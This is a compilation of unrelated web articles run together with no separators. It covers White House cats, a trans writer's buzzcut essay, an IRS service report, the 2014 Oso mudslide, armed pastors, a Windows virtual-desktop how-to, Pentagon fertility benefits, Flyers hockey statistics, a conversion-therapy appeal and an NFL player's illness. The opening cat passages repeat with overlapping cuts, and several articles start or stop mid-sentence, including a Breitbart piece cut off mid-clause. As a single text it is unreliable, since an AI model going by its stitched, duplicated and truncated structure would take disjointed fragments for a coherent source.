family owned Misty Malarky Ying Yang, a sealpoint Siamese cat that daughter Amy continually spoke about. While at the White House, Misty could often be found curled up in her favorite spot — Amy’s indoor doll house. Ronald Reagan and his family owned two stray tortoise shell cats, Cleo and Sara, that lived at their vacation home, Rancho del Cielo, in California during his White House years. The Reagans also owned several other (unnamed) cats at the ranch.
and his family owned two stray tortoise shell cats, Cleo and Sara, that lived at their vacation home, Rancho del Cielo, in California during his White House years. The Reagans also owned several other (unnamed) cats at the ranch. Bill Clinton’s cat, Socks, belonged to his daughter, Chelsea. Apparently, Socks was rescued in Arkansas after Chelsea spotted her through a window during a piano lesson. Socks was a domestic shorthair ‘tuxedo’ cat with sock- like markings on her feet, and Clinton referred to her as “Chief Executive Cat.” Socks had well-publicized feuds with Buddy, the family’s Labrador retriever, whom she reportedly despised from the day she first met him. She had her own fan club page on the White House Web site and her own in-box for the fan mail she received, which was kept on Clinton’s secretary Betty Currie’s desk. Socks was featured on a set of stamps issued by The Central African Republic and her image was also used in the White House to mark routes for visiting schoolchildren. When Socks died of cancer in 2009, her ashes were flown back to Arkansas for burial.
cat, Socks, belonged to his daughter, Chelsea. Apparently, Socks was rescued in Arkansas after Chelsea spotted her through a window during a piano lesson. Socks was a domestic shorthair ‘tuxedo’ cat with sock- like markings on her feet, and Clinton referred to her as “Chief Executive Cat.” Socks had well-publicized feuds with Buddy, the family’s Labrador retriever, whom she reportedly despised from the day she first met him. She had her own fan club page on the White House Web site and her own in-box for the fan mail she received, which was kept on Clinton’s secretary Betty Currie’s desk. Socks was featured on a set of stamps issued by The Central African Republic and her image was also used in the White House to mark routes for visiting schoolchildren. When Socks died of cancer in 2009, her ashes were flown back to Arkansas for burial. George W. Bush and his family owned India “Willie” Bush, a beautiful black cat named after baseball player Ruben “El Indio” Sierra of the Texas Rangers. Willie was known to be very shy and reclusive and died just before the Bushes moved out of the White House. They also had Ernie, a striped cat named after Ernest Hemingway, who became “too wild” to reside in the White House and was eventually sent to live with friends in another state. A third cat, Cowboy, was said to be the president’s favorite, but he died of kidney disease shortly after Bush took office.
Cats have admirably established themselves in Washington D.C.’s history, alongside our presidents and their families, with many more to come. Who will be the next First Cat to live in the White House? Whether or not our 45th president will bring a cat to the White House is unknown. However, one thing is certain: presidential cats first took their place in our nation’s capital as rat-catchers and this will certainly continue to be a full time job.
All cats, Presidential or otherwise, have healthcare needs. To help cover the costs of your cat’s illness, accident and preventive treatments, The CFA Pet Healthcare Plan offers several options to meet your needs and your budget. Our Wellness Plans cover vaccinations, boosters, heartworm testing and prevention, flea/tick controls and de-worming, as well as annual check-up, dental cleaning, spay/neuter options and unexpected illnesses, accidents and injuries. For more information visit: www.cfaphp.com or call 1.877.232.4441. Be prepared and enroll your cat before the age of nine to help ensure continuous healthcare coverage into his senior adulthood. A happy cat is a healthy cat!I've never been shy about expressing the belief that there exists power to be garnered through getting a haircut, a new tattoo, or putting on a bold swipe of lipstick; and I continue to stand behind the notion that a fresh beauty routine can possess cathartic qualities. But before I got a buzzcut, no change in style or fresh ink ever impacted my life so intensely, leaning me further in the direction of fulfilled body positivity.
New tattoos, piercings, and dyes have certainly helped me take my body back, allowing me to exercise control over particular areas I previously found uncontrollable or undefinable. This drastic haircut, however, has done more than give me control over my body and narrative. It's stripped away the old, damaging parts of myself and my psyche that I've been holding onto in order to make way for a more authentic and liberating life as the trans person that I am.
These old facets of myself — the pain, the insecurity, the forced femininity — were all clinging to my color-treated, askew, and oddly-textured mane. But when I finally shaved it all off on a whim and with the encouragement of my loving partner, I felt the hurt melt away, and saw the real me staring back from the mirror for the first time in my life.
Picking up those scissors on the bathroom sink and haphazardly hacking away at my black bob felt wild. Despite how much I wanted this change, I was scared. Starting slowly, I realized that with each snip of the scissors, I felt like I could breathe a little deeper; could smile a little wider. Eventually, I was hacking off huge chunks as they fell all over my feet and atop my tiny pup, and as my partner blasted some One Direction for motivation.
Finally, most of my hair was gone. I had reached the point of being able to cut off as much as I could without a buzzer. I felt alive, and close to tears. Soon after, I asked my partner to buzz the rest of it as we fed off of each other's excitement and adrenaline.
I got up, looked in the mirror, and did my best to hold back any sobbing. This is who I am. This is who I've wanted to be for so long, I thought. I was finally letting myself be the boy or the genderqueer unicorn or the genderless alien that I am deep inside. After years of subconsciously suppressing my masculinity, there was nothing but relief.
When I was a kid, I kept my hair so long that it brushed the top of my ass. I'd often throw my head back, shaking it to and fro just to show everyone how long I was able to grow it. But most of the time, I felt burdened by my mane, just like I felt burdened by dresses, by my growing breasts, and by those who called me "pretty."
I knew that girls had long hair and boys had short hair, though. And since I was a girl (or so I was told), I had to keep my hair the length that it was. In addition to gender norms, so many people envied how long and luscious my locks were that I thought it'd be a crime to hack them off.
I loathe assigning gender to hairstyles and lengths. I loathe the ideology so many queer communities have about what being queer "looks like." At the end of the day, a hairstyle, length, or color cannot be gendered. Yet there is no denying how burdensome my hair felt when it came to my gender identity: An identity that I didn't fully understand at the time.
Once I went to college, I became friends with other queer people like me. They made me feel comfortable about my desire to cut my strands, as the norm at my college was the opposite of the beauty standards put forth in my elementary and high schools. But I still held back, fearing I wasn't "masculine enough" to rock a short 'do or to be entitled to embracing a more gender fluid identity. So I slowly started cutting my hair in bits and pieces, going from long, flowing locks to a bob to an undercut to, finally, shaved sides complemented by a short crop.
But as much as I felt better with each shorter length, my deeply-held belief that masculinity somehow wasn't for me (even if I felt like a boy) won over for a while, as I set out to grow out my hair once again.
Until recently, I had been growing it out for eight months. In all that time, I never once felt empowered over my appearance, despite my big plans to aspire to an Amelie-style bob and blunt bangs. To be honest, stereotypical ideas of gender held me back. As much as I don't believe that we should gender haircuts or clothing or makeup, I couldn't shake the feeling that I'd feel more authentically me if rocking less hair.
Since I'm a small-framed and very anxious human, I often feel like those qualities make me inherently female. My disappointment in myself over "never being masculine enough," or "never being handsome enough," haunted me until the moment I impulsively started cutting all my hair off once and for all. With this new cut, I have a completely different point of view. The disapproving voices were silenced, and for the first time ever, I saw that the person I always wanted to be was always under that long crop of strands.
With all the excess hair and unwanted femininity out of the way, my buzzcut helped me see that I can be — that I am — masculine. It helped me see that masculinity, for many, is a feeling: Not a game with dozens of strict rules.
My new hair is bringing out the man I think I might be more and more each day. Now I get to introduce them to everyone. I'm done denying myself of my masculinity, and I look forward to flaunting exactly who I am without apology.
Images: Meg ZulchServices to taxpayers are likely to drop to their worst levels since 2001, when the Internal Revenue Service first started measuring its performance, the agency’s taxpayer advocate said in her annual report released on Wednesday.
Five years of budget-cutting have “brought about a devastating erosion of taxpayer service, harming taxpayers individually and collectively,” wrote Nina E. Olson, who leads the Taxpayer Advocate Service, an independent office within the I.R.S.
Ms. Olson warned that in this fiscal year — as filing requirements mandated by the Affordable Care Act go into effect — the agency might end up answering as few as 43 percent of the more than 100 million phone calls it expects to receive from taxpayers.
Callers who manage to get through are expected to be on hold for an average of 30 minutes. That is a decline from the 61 percent of calls answered and average waiting time of 18 minutes in the 2013 fiscal year.MUDSLIDE SUNDAY-- 137381--3/23/2014 A house is seen destroyed in the mud on Highway 530 next to mile marker 37 on Sunday, March 23, 2014 the day after a giant landslide occurred near mile marker 37 near Oso, Washington. At least six homes have been washed away, with three people reported dead so far and at least eighteen missing. The nearby Stillaguamish River has been dammed up by 15-20 feet of debris as a result, creating more flooding concerns, as reported by KING 5 via the state hydrologist.
— The search for survivors of a deadly Washington state mudslide grew Monday to include scores of people who were still unaccounted for as the death toll from the wall of trees, rocks and debris that swept through a rural community rose to at least 14.
In the struggle to find loved ones, family members and neighbors used chain saws and their bare hands to dig through wreckage that was tangled by the mud into broken piles.
Authorities said they were looking for more than 100 people who had not been heard from since the disaster about 55 miles northeast of Seattle. They predicted that the number of missing would decline as more people are found safe. But the startling initial length of the list added to the anxieties two days after a mile-wide layer of soft earth crashed onto a cluster of homes at the bottom of a river valley.
“The situation is very grim,” Snohomish County Fire District 21 Chief Travis Hots said, stressing that authorities are still in rescue mode and are holding out hope. But he noted: “We have not found anyone alive on this pile since Saturday.”
SEE ALSO: Scenes From The Deadly Mudslide [Gallery]
Snohomish County sheriff’s spokeswoman Shari Ireton said Monday afternoon that search and rescue crews discovered an additional six bodies, bringing the number of fatalities to at least 14. The slide critically injured several others.
About 30 houses were destroyed, and the debris blocked a mile-long stretch of state highway near Arlington.
Cory Kuntz and several volunteers worked Monday with chain saws to cut through the roof of his uncle’s house, which was swept about 150 yards from its previous location. Kuntz said his aunt, Linda McPherson, was killed. He and the others pulled out files, his aunt’s wallet and a box filled with pictures and slides.
“When you look at it, you just kind of go in shock, and you kind of go numb,” he said, adding that there were more people out helping Sunday. On Monday, they couldn’t get through roadblocks.
“They are all eager to get down here, but unfortunately they can’t. It just shows how tight this community is,” he said.
Doug Reuwsaat, who grew up in the area and was also helping in the search, said authorities had told people to stay away.
“We’re related to a lot of these people from around here. So that’s why we’re here,” he said.
The mudslide struck Saturday morning, a time when most people are at home. Of the 49 structures in the neighborhood, authorities believe at least 25 were full-time residences.
An overnight search of the debris field turned up no other bodies, Hots said. Monday’s search included aircraft, dogs and heavy equipment.
Frustrations were growing as family members and neighbors waited for official word on the missing and the dead. Elaine Young and her neighbors uncovered several bodies Sunday and had to contact authorities to get them removed.
They also found a chocolate Labrador named Buddy alive, and helped pull the dog from the rubble, leading her to wonder if other survivors could be out there, desperate for help.
“If we found a dog alive yesterday afternoon that we cut out of a part of a house, doesn’t that seem that maybe somebody could be stuck up under part of a house and be alive too?” asked Young, whose home survived the slide but was on the edge of the devastation.
Authorities believe Saturday’s slide was caused by recent heavy rains that made the terrain unstable.
From the beginning, rescue crews on the ground have faced dangerous and unpredictable conditions as they navigated quicksand-like mud that was 15 feet deep in some places. Some who went in got caught up to their armpits in the thick, sticky sludge.
The threat of potential flash floods or another landslide also loomed over rescuers. On Monday, some crews had to pull back because of concern that a hillside could shift.
Retired firefighter Gail Moffett, who lives in Oso, said she knows about 25 people who are missing, including entire families with young children.
“It’s safe to say I’ll know everyone affected or who they are,” Moffett said. “There’s so much pain going on in the community right now.”
Among the injured were a mother and her baby. Amanda Skorjanc, 25, was in satisfactory condition at Harborview Medical Center in Seattle, spokeswoman Susan Gregg said. Her son, 22-week-old Duke Suddarth, remained in critical condition and was improving, Gregg said. Three other men were in serious condition.
Snohomish County Emergency Management Director John Pennington said the list of 108 names included construction workers who were working in the area and people just driving by. But, he cautioned, that does not necessarily mean there are dozens of additional fatalities.
“It’s a soft 108,” Pennington said, explaining that the number would almost certainly fall as people are slowly located.
The spirits of search-and-rescue teams were raised late Saturday when they heard cries for help from the flotsam of trees, dirt and shattered wood. But no one else has been found alive.
The slide blocked the North Fork of the Stillaguamish River, which is continuing to back up, officials said. Authorities said Monday at least seven homes are now flooded, and more flooding is expected.
Frequent, heavy rain and steep geography make the area prone to landslides. Less than a decade ago, another slide hit in the same general area.
Washington Gov. Jay Inslee described the scene as “a square mile of total devastation” after flying over the disaster area Sunday. He assured families that everything was being done to find their missing loved ones. On Monday, President Barack Obama declared an emergency, ordering federal aid for the struggling community and federal agencies to coordinate relief efforts.
Barbara Welsh went to Monday’s news briefing in Arlington to get more information. She said she has not seen her husband, William Welsh, since Saturday, when he went to help someone in Oso with a water tank.
Bruce Blacker, who lives just west of the slide, doesn’t know the whereabouts of six neighbors.
“It’s a very close-knit community,” Blacker said as he waited at an Arlington roadblock before troopers let him through.
(© Copyright 2014 The Associated Press. All Rights Reserved. This material may not be published, broadcast, rewritten or redistributed.)“For the better part of 20 years, I was a solo practitioner,” he says. “Then I got David, and that changed my dynamic. I had to be very conscious of another person, but we were still able to jump into a car and go to Vegas or spend three weeks in Italy. Although we were a unit, we were still very free.
“When you have kids, everything anchors to their wants and needs, so you get less sleep and have to be more aware all the time. You have to be adaptable because they constantly keep changing. They’ll do something that blows your mind and then they’ll spit all their food out on the carpet.
“The first year with them was complicated,” he admits. “They were twins, and they were crying a lot. Thank God for David. He is so good at differentiating cries.”
Harris pulls out his cellphone and shows off pictures Burtka just took of the twins playing in the sand.
“David is so drawn to parenthood, just in his core, that I suddenly felt I was a perimeter guy,” Harris says. “I was the man who put the cribs together and took the trash out. I tried to balance the equation.”By Rob Morse
California – -(Ammoland.com)- Among Christian ministers, there is a strong appeal to be a defenseless victim.
I disagree. I think pastors should protect their congregation.
So does Pastor Pastor E. W. Jackson.
“I am a pastor. If someone comes into hurt my church members, I have an absolute obligation to defend them.. to protect them.” Video
So does Reverend Kenn Blanchard.
“One advantage of being armed is having training.. The position you're in as a shepherd is to lay down your life for your sheep.”
So does Pastor Doug Giles.
“What are you going to do? This is the ultimate What Would Jesus Do query, eh? I think if Jesus were placed in such a situation he would whip out his Glock and double tap the center mass of any killer who was attempting to put a bullet in one of his defenseless disciples. “Okay, maybe Jesus wouldn’t do it but Peter definitely would have.” Link
I suggest training for those pastors still sitting on the fence. The owner of Bear Beam Firearms in Tulsa, Oklahoma offers free training classes to preachers and ministers.
Owner Charles Peters said “Protecting.. their flock is important. Being prepared for that unfortunate event.. needs to take place prior to it happening. Not reacting to it afterwards. I've (offered these classes) before and nobody shows up because nobody thinks it affects them. The recent event will cause them to see how much it can affect them.”
Pastors will only need to show identification showing they're a pastor or assistant pastor. They will still need to pay any state fees associated with the permit.
~_~_
About Rob Morse: By day, Rob Morse works as a mild mannered engineer for a Southern California defense contractor. By night he writes about gun rights at Ammoland, at Clash Daily and on his SlowFacts blog. He is an NRA pistol instructor and combat handgun competitor.For years, both Mac and Linux users have taken advantage of virtual desktops that let you create multiple desktop work spaces on your PC. Finally, Microsoft is getting into the game by adding this feature into Windows 10. But the truth is, Windows has supported this capability for some time—Microsoft just never enabled it by default. So how do you get multiple desktops? All it takes is a small download from a Microsoft site.
There are many reasons you might want to use multiple desktops on a single computer. If you don’t have a multi-monitor set-up, for example, you can use multiple desktops to keep organized. You could have one desktop set-up with productivity apps, and a second with entertainment such as a music player. You may even prefer to have your email open on its own desktop to stop yourself from reacting to every message that hits your inbox.
How to go multi-desktop
First, download Sysinternals Desktops v2.0 directly from Microsoft’s TechNet site. This will download a ZIP file to your PC. Open that ZIP folder, extract the EXE file, and then double-click it to fire up the program. Before you double-click, however, I’d recommend stashing the EXE file in your Documents folder or somewhere similar. Your system will look for that EXE file wherever you store it every time it tries to start up the program.
Desktops v2.0 running on Windows 8.1.
During Desktops’ initial start-up, you will be prompted to decide on the hotkeys you’d like to use for switching between desktops. In that same window I’d also advise clicking the Run automatically at logon box so that Desktops fires up every time you boot your PC.
As for the hotkeys, personally I stuck with the defaults of Alt plus numbers 1,2,3,4 for each desktop—the app supports four desktops, the standard on Mac and Linux. (Windows 10 will support unlimited virtual desktops.) You can also switch by clicking on the Desktops icon in your system tray.
That’s about all there is to installing Desktops. Keep in mind this is a very basic program. There are no animations to signal that you’ve switched between desktops. You can’t drag-and-drop windows from one desktop to the next. The program also won’t remember what you had open on each desktop once you shut down.
You may also find that switching between desktops is a little slow the first time you do it, as it takes a second for each desktop to be created. Once it’s running, however, switching between multiple desktops is very smooth.
It’s basic, but Desktops just works on any PC running XP or higher. If you’re looking for something with more features and tweaks, check out Dexpot, a popular third-party multi-desktop solution. It's also free for private use.1 of 15 View Caption
Francisco Kjolseth | The Salt Lake Tribune The Salt Lake Tribune staff portraits. Gordon Monson Steve Griffin / The Salt Lake Tribune Milwaukee Bucks guard Tony Snell (21) grabs a rebound over the outstretched arms of Utah Ja Steve Griffin | The Salt Lake Tribune Utah Jazz forward Gordon Hayward (20) reaches between Portland Trail Blazers forward Al-F Steve Griffin | The Salt Lake Tribune Utah Jazz forward Gordon Hayward (20) walks through a smoke screen as he is introduced du Steve Griffin | The Salt Lake Tribune Utah Jazz forward Gordon Hayward (20) gets called for a break away foul on Portland Trail Chris Detrick | The Salt Lake Tribune Utah Jazz forward Gordon Hayward (20) and Atlanta Hawks forward DeMarre Carroll (5) during Chris Detrick | The Salt Lake Tribune Utah Jazz forward Gordon Hayward (20) runs past Atlanta Hawks forward DeMarre Carroll (5) Chris Detrick | The Salt Lake Tribune Utah Jazz forward Gordon Hayward (20) Utah Jazz guard Dante Exum (11) and Utah Jazz forwar Chris Detrick | The Salt Lake Tribune Utah Jazz forward Gordon Hayward (20) shoots the ball during the game at EnergySolutions A Chris Detrick | The Salt Lake Tribune Utah Jazz forward Gordon Hayward (20) and Atlanta Hawks forward Elton Brand (7) go for the Leah Hogsten | The Salt Lake Tribune Utah Jazz assistant coach Johnnie Bryant visits with Harrison O'Toole, 6, who admitted he s Lennie Mahler | The Salt Lake Tribune Gordon Hayward draws a foul from Richaun Holmes in the first half of a game against the P Lennie Mahler | The Salt Lake Tribune Gordon Hayward draws a foul from Richaun Holmes in the first half of a game against the P Lennie Mahler | The Salt Lake Tribune Jazz guard Gordon Hayward draws a foul as he is guarded by Hollis Thompson, Jerami Grant Lennie Mahler | The Salt Lake Tribune Jazz guard Gordon Hayward steals the ball from JaKarr Sampson in the first half of a gameWASHINGTON -- Complicated and unresolved legal issues prevent the Pentagon from providing critical benefits to severely wounded troops who want to start families, a senior Defense Department official told The Huffington Post Thursday.
This week the Pentagon unveiled a new policy extending some reproductive health benefits to men and women injured in combat who need assistance in conceiving children. The new policy pays for such services as in vitro fertilization, for example, in cases in which the husband cannot naturally fertilize his wife's eggs with his sperm.
But the new Pentagon policy specifically denies benefits to soldiers and Marines whose genitals have been damaged or destroyed in combat and can no longer produce sperm. That leaves couples like Heather and Mark Litynski, a young Marine who lost both legs, his left arm and his testicles to a blast from an improvised explosive device in Afghanistan, still looking for help.
They had wanted to have children, but the new policy means the Pentagon will not pay for costly in vitro fertilization procedures using donor sperm. In a generally effective system of military health care, "this is one ugly hole," Heather Litynsky told The Huffington Post this week.
That loss of genitals is becoming increasingly common in IED blasts in Afghanistan that can blow off arms and legs and severely damage the lower torso.
As The Huffington Post reported earlier this week, at least 1,875 American troops have suffered genital wounds since 2005, including 51 so far this year. They are among the 34,440 American battle casualties caused by roadside bombs in Iraq and Afghanistan, a grim toll that includes over 3,000 dead and 31,394 wounded through May, according to the most recent Defense Department data.
A decade ago, many of these wounded would have died on the battlefield. But rapid advances in battlefield medicine are saving lives, as detailed in a Huffington Post series last year.
"The problem is that the improvements we've made in health care on the battlefield, by the military, have moved so quickly, the law hasn't been able to keep up," said Warren Lockette, a senior Pentagon health official.
"The lawyers haven't kept up," he observed.
In an interview, Lockette suggested that providing donor sperm to the spouse of an injured trooper likely would clash with the various and constantly evolving state laws that define the ownership of the sperm, the fertilized egg or the resulting child. Such laws vary from state to state, and their application might depend on either where the couple was stationed or the location of their permanent home. In any event, state laws would likely trump Defense Department regulations.
Lockette seemed frustrated at the inability of Pentagon lawyers to extend benefits to wounded warriors who cannot produce sperm. He said the overriding purpose of the military health system is to serve the battle wounded and their families, including those with genital wounds.
But, he said, "We can't get straight answers about a lot of these questions."
A medical doctor with field experience in Afghanistan, Lockette is deputy assistant secretary of defense for clinical and programs policy, and chief medical officer for TRICARE, the military health insurance system. He has served as a senior advisor to the Navy Special Warfare Command and the U.S. Special Operations Command.
Asked directly why the Defense Department can't simply pay for procedures using donor sperm despite state laws, Paul Hutter, general counsel for TRICARE, said, "That exact question that you're asking has never been posed to us for an absolute legal decision."
"This exact question," Hutter said, "would require additional study."
Lockette said the numbers of wounded who become infertile because of their injuries "are not strikingly large." But even if the numbers are relatively small, he said, "These are significantly catastrophic injuries to individuals'' who deserve the best care and support possible.
The Pentagon's health officials struggled for about two years to develop the new policy. During that time, Lockette said, they did hear from politicians and interest groups. But he strenuously denied that the policy was affected by any political or religious pressure.
In any event, the new policy is subject to change, Lockette said. "We all want to do what is in the best interest of the service member and their family, so it's an absolute requirement that we consistently revisit every possible permutation or combination of policy that affects them," he said. "We owe this to them and we will do that."While discussing news media bias, Dan Gainor, vice president of Business and Culture at the Media Research Center, told Breitbart News Daily SiriusXM host Alex Marlow on Monday, “In the Washington Post’s case, they jam Trump into every section, and it’s in a negative way.”
Citing a story as a good example of so-called fake news, Gainor said, “The Washington Post’s near-crusade to portray everything Russia as scary and connected to Trump ran this story about the power |
carry the shooting load sure looks like an intentional strategy on the part of the coaching staff.
Of course, a coach teaching systems is not going to simply direct his team to take lots of shots from the point. Players realize that those shots are less likely to result in goals. There has to be some degree of tactical justification for the strategy.
Enter the Low-to-High offensive zone style.
While the strategy is often derided as “just a lot of point shots,” that is not a truly fair way to describe Low-To-High. The point of the tactic is to open up a defense that is using a collapsing formation around its own net. With most NHL teams looking to protect the slot and netfront at all costs while in the defensive zone, it can be difficult for the offense to create shots from a low section of the attacking zone, particularly with the puck along the boards. There just isn’t much room in front.
By kicking the puck up to a defenseman at the point, the offense essentially dares its opponent to break ranks and put pressure on the new puck carrier, breaking the collapsing formation. This then allows the offense to either continue cycling around the perimeter (but now against a more spread-out coverage), or to release a distance shot with forwards down low taking advantage of the ensuing structural weakness to penetrate the low slot, creating screens and collecting rebounds.
The Low-to-High style certainly has its uses, and every NHL offense employs it at times. However, through the tracking work of Corey Sznajder and data analysis of Ryan Stimson, it’s become clear that point shots taken directly after a Low-to-High pass rarely produce goals. Sznajder’s current 2016-17 dataset includes 6,257 tracked unblocked shots that directly originated from a Low-to-High pass, and only 60 of them ended up in the back of the net. That means that just 0.95 percent of all unblocked Low-to-High attempts turned into goals.
To be fair, the Low-to-High tactic also resulted in 23 rebound goals in the dataset, pushing its effective success rate up to 1.33 percent. Still, this doesn’t seem to be a tactic that an efficient offensive team would want to overuse. Unfortunately, the Flyers were in the top third of the league in usage, ranking ninth with 22.7 percent of their unblocked attempts coming immediately after a Low-to-High pass.
Team Low-To-High Usage Percentage Sharks 38.2% Maple Leafs 30.6% Panthers 27.2% Blue Jackets 26.7% Blackhawks 25.2% Wild 24.5% Penguins 24.4% Bruins 23.2% Flyers 22.7% Avalanche 22.3% Red Wings 21.4% Ducks 20.8% Canucks 20.6% Jets 20.6% Oilers 20.4% Blues 20.2% Flames 19.9% Rangers 19.2% Canadiens 19.1% Islanders 18.7% Kings 18.7% Hurricanes 17.9% Devils 17.7% Lightning 17.7% Stars 16.7% Predators 16.4% Sabres 15.8% Senators 14.7% Capitals 14.3% Coyotes 12.9%
Note: While the Flyers’ dataset is complete, other teams’ datasets are incomplete and do not contain the entirety of their 2016-17 seasons.
However, heavy usage of the Low-to-High system does not guarantee that a team will struggle in goal creation. The Maple Leafs, Blue Jackets, Blackhawks, Wild and Penguins all finished in the top-10 in 5-on-5 scoring last season, yet they used the Low-to-High shot–creation tactic even more often than Philadelphia did. Why did those teams not run into similar issues?
It could be due to the fact that those teams combined the Low-to-High with heavy usage of truly efficient shot creation tactics, while the Flyers did not. Two examples of more efficient tactics would be Home Plate passes, and Behind-the-Net passes. For a shot to be given the Home Plate designation, the preceding pass needs to move through the low-slot area prior to the eventual shot. As for Behind-the-Net, the pass initially preceding the shot must originate from below the red line (and not go back to the point).
While Low-To-High shots only turned into goals 0.95 percent of the time, Behind-the-Net unblocked shots were successful on 6.38 percent of instances, and Home Plate unblocked shots worked at a whopping 15.61 percent rate. This is where the Flyers paled in comparison to their Low-to-High peers. While those teams counterbalanced volume-heavy tactics with more threatening passing plays, the Flyers lagged behind in their usage of Home Plate and Behind-the-Net strategies in 2016-17.
Team Low-to-High Behind-the-Net Home Plate Maple Leafs 30.6% 10.0% 5.3% Blue Jackets 26.7% 12.0% 4.7% Blackhawks 25.2% 8.7% 11.6% Wild 24.5% 13.8% 6.5% Penguins 24.4% 16.2% 8.7% Flyers 22.7% 4.6% 6.4%
Toronto, Columbus, Minnesota and Pittsburgh all set up shop behind the net on a regular basis last season, while the Blackhawks relied upon their ability to be creative with their passes just in front of the goaltender. The Flyers, on the other hand, failed to regularly employ these more efficient tactics, and their goalscoring suffered for it.
A Low-to-High dominant offense without any efficient secondary strategies in the arsenal is not an especially threatening goal-scoring machine. Unless the Flyers find a way to increase their usage of tactics like Home Plate passes and Behind-the-Net originating shots, it’s unlikely they will become a high-end NHL offense at 5v5.
Impact of bad luck and unsustainable, poor execution
Of course, the Flyers do not necessarily have to be a well-oiled scoring machine on the level of the Penguins or Maple Leafs to make noise in 2017-18. Most fans would settle for a solidly mid-tier offensive performance, which would put Philadelphia right back into the playoff hunt.
That’s why it’s heartening to note that if Philadelphia makes no changes whatsoever to its offensive zone tactics in 2017-18, it will still likely see better results. That’s because even accounting for the team’s shot quality issues, the Flyers should have scored many more goals last season considering their underlying process.
Let’s return to Sznajder’s passing and shot data. For the Flyers, he tracked 3,675 unblocked attempts at 5v5 during the 2016-17 season, and recorded 126 goals resulting from those shots. That’s a 3.43% unblocked shooting percentage for the team on the season.
But what were the league averages in Sznajder’s dataset for each shot type? Did the Flyers dramatically underperform shooting percentage expectations even after controlling for how they created their shots?
For the most part, the answer is a resounding yes.
Final Pass Type Before the Shot Dataset Average Unblocked SH% PHI 16-17 Unblocked SH% Behind-the-Net Pass 6.38% 3.39% Stretch Pass 4.24% 4.50% Defensive Zone Pass 2.62% 2.68% Home Plate Pass 15.61% 11.86% Low-to-High Pass 0.95% 0.71% Neutral Zone Faceoff 0.00% 0.00% Neutral Zone Pass 2.64% 1.30% Offensive Zone Faceoff Win 1.59% 0.00% Offensive Zone Center Pass 5.18% 5.43% Offensive Zone Left Pass 3.23% 2.90% Offensive Zone Right Pass 3.60% 3.13% Rebound 17.47% 20.30% Other 2.04% 1.68%
The Flyers underperformed in multiple categories, from the usually-dangerous Behind-the-Net and Home Plate passes, to less efficient ones like Low-to-High and Neutral Zone passes. Only in shots taken off rebounds did the Flyers dramatically exceed the dataset average.
Now, let’s have some fun with these numbers. We can take the Flyers’ actual shot-creation counts for each of these categories, give each the dataset average shooting percentage outcome, and check what happens to the Flyers’ 5v5 goal scoring totals. Unsurprisingly, they take a measurable leap.
Final Pass Type Before the Shot Total Unblocked Shots Dataset Average Unblocked SH% Predicted Goals Scored Actual Goals Scored Behind-the-Net 118 6.38% 7.53 4 Stretch Pass 111 4.24% 4.71 5 Defensive Zone Pass 112 2.62% 2.93 3 Home Plate Pass 177 15.61% 27.63 21 Low-to-High Pass 708 0.95% 6.73 5 Neutral Zone Faceoff Win 6 0.00% 0 0 Neutral Zone Pass 230 2.64% 6.07 3 Offensive Zone Faceoff Win 63 1.59% 1 0 Offensive Zone Center Pass 313 5.18% 16.21 17 Offensive Zone Left Pass 517 3.23% 16.7 15 Offensive Zone Right Pass 415 3.60% 14.94 13 Rebound 133 17.47% 23.24 27 Other 772 2.04% 15.75 13 Totals 3675 143.44 126
Had the Flyers simply scored at the dataset’s average rates, they would have potted an extra 17 goals at 5-on-5 last season. Now, that would not have made them an offensive dynamo – 143 goals would have ranked 19th in the NHL, and the resulting 7.49% shooting percentage still would have fallen below the league average of 7.67 percent, understandable considering their shot quality issues. However, the season would not have been the goal-scoring disaster that it ended up being in reality.
Some would conclude that the team’s underperformance relative to statistical expectations was just bad luck; others may argue that it’s a lack of finishing talent or simply poor execution that caused the goal-scoring outage. Considering the research done by Stimson, however, I’m inclined to trust the process and assume that better outcomes for the Flyers are on the way from sound practices like Behind-the-Net and Home Plate passing strategies.
Bad luck does not absolve inefficient tactics
Based on the available data, the Philadelphia Flyers could make absolutely no changes this season to their offensive zone tactics, and still could expect a sizable bounce-back in terms of 5-on-5 goal-scoring. Even accounting for the Flyers’ shot quality, the team missed out on somewhere between 14-17 tallies relative to reasonable projections. That almost certainly will not happen again.
Still, the Flyers are not an especially efficient offensive zone squad at 5-on-5 in terms of tactics. They lean heavily upon a Low-to-High shot-creation style that rarely results in goals, place a large amount of the shot-taking load upon their defensemen, and appear allergic to the most creative and effective offensive zone passing plays.
The expected regression should help the Flyers in 2017-18, and barring a dramatic dropoff in the true talent level of the Philadelphia roster, they will not be keeping residence in the basement of the 5v5 scoring charts. But simply adhering to the same tactics as 2016-17 won’t get them any higher than middle-of-the-pack relative to the rest of the league. The coaching staff’s sights should be set far higher.
The new additions to the roster should help. No longer will the fourth line be devoid of offensive skill, considering the fact traditional middle-sixers like Jori Lehtera, Matt Read and Dale Weise will all probably spend time at the bottom of the lineup this year. Rookies like Nolan Patrick and Oskar Lindblom could also infuse the forward corps with additional creativity up front.
But the coaching staff should push their forwards to take more of an active role in the offensive zone, as well. Low-to-High passes may be an easier way to generate raw shot volume, but they are not an efficient way to generate goals. If the Flyers organization wants to turn its 5-on-5 goal scoring weakness into a strength, encouraging the creativity and assertiveness of the forwards on the roster is a good place to start.The ban was scheduled to take effect on Jan. 1.
SAN FRANCISCO — California Gov. Jerry Brown this week appealed a U.S. District Court injunction that has blocked the enforcement of a new state law that prohibits providing controversial “gay-to-straight” conversion therapy to LGBT youth.
The notice of appeal was filed Wednesday on behalf of Brown and the Medical Board of California by state Attorney General Kamala Harris with the U.S. 9th Circuit Court of Appeals, which ruled Dec. 21 to block the law pending a decision on its constitutionality.
The ban was scheduled to take effect on Jan. 1.
A small group of therapists and religious groups have argued that the law infringes on their rights to free speech, but Harris has called conversion therapy “unsound and harmful.”
Harris asked the court Wednesday to look at a recent decision by U.S. District Judge Kimberly Mueller upholding the law.
“Defendants wish to apprise the 9th Circuit of a related case currently pending before it […] denying a motion for a preliminary injunction that would have enjoined enforcement of Senate Bill 1172,” Harris wrote. “Both appeals involve the constitutionality of Senate Bill 1172 and raise the same and/or closely related legal issues.”By Brett Martel, AP Sports Writer
NEW ORLEANS (AP) -- New Orleans Saints linebacker Michael Mauti became so fearful of food in recent years that even the thought of a holiday dinner gave him high anxiety.
Not wanting to cut short an NFL career that began in 2013, Mauti tried to manage -- with medication and diet adjustments -- the ulcerative colitis that was destroying part of his digestive tract. But the excruciating discomfort and mental anguish he came to associate with eating made a pro football physique hard to maintain, and his weight dropped to 190 pounds, more than 40 pounds lighter than his target weight.
